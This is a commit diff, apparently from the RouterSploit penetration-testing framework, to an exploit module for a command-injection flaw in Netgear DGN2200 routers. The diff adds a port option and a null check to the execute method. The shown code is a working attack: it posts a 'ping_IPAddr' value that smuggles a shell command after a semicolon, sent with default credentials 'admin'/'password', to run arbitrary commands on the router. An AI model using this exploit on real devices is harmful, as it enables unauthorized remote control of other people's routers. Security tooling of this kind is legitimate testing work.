Adding port option, fixing execute method

routersploit/modules/exploits/netgear/dgn2200_ping_cgi_rce.py

@@ -35,6 +35,8 @@ class Exploit(exploits.Exploit):
     }
 
     target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target Port')  # target port
+
     login = exploits.Option('admin', 'Username')
     password = exploits.Option('password', 'Password')
 
@@ -50,11 +52,15 @@ class Exploit(exploits.Exploit):
             print_error("Target is not vulnerable")
 
     def execute(self, command):
-        url = "{}/ping.cgi".format(self.target)
+        url = "{}:{}/ping.cgi".format(self.target, self.port)
         data = {'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping': "Ping", 'ping_IPAddr': "12.12.12.12; " + command}
         referer = "{}/DIAG_diag.htm".format(self.target)
         headers = {'referer': referer}
+
         r = http_request(method="POST", url=url, data=data, auth=(self.login, self.password), headers=headers)
+        if r is None:
+            return ""
+
         result = self.parse_output(r.text)
         return result.encode('utf-8')